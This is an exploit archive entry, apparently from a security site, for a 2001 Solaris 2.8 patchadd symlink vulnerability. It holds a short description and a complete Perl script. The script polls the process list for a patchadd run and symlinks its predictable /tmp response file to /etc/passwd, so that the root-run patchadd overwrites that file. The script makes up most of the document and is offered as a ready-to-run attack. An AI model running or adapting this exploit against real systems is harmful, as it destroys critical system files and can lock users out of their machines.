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patchadd.pl

patchadd.pl
Posted Aug 28, 2001
Authored by Larry W. Cashdollar

Solaris 2.8 patchadd local exploit. Takes advantage of a symlink vulnerability to clobber files with output from patchadd. Tested on Solaris 2.8 Sparc with the current patch cluster applied.

tags | exploit, local
systems | solaris
MD5 | e82cc2d3f9571ccb3e3fc241ddaebb1a

patchadd.pl

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Here is an exploit to an old bug for patchadd in Solaris.   It exploits a
symlink vulnerability to clobber files with output from patchadd. This
was written and tested on Solaris 2.8 Sparc with the current patch cluster
applied.


-- Larry
http://vapid.dhs.org:8080




<----Begin perl---------------------------------------------------------->

#!/usr/local/bin/perl
#Exploit for patchadd Solaris 2.x. Symlink /tmp file creation
#vulnerability
#patchadd creates files in /tmp with mode 644 that can be used to clobber
#system files when executed by root.
#Larry W. Cashdollar
#http://vapid.dhs.org:8080
#See BID http://www.securityfocus.com/bid/2127
#Discovery credit: Jonathan Fortin jfortin@revelex.com
#Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10

use strict;

my $NOISY = 1; # Do you want quiet output?
my $clobber = "/etc/passwd";

print "Listening for patchadd process...\n" if ($NOISY);

while(1) {
open (ps,"ps -ef | grep -v grep |grep -v PID |");

while(<ps>) {
my @args = (split " ", $_);

if (/patch/) {
print "Targeting PID $args[1] and symlinking response.$args[1] to
$clobber\n" if ($NOISY);
symlink($clobber,"/tmp/response.$args[1]");
exit(1);
}
}

}

<----end perl---------------------------------------------------------->



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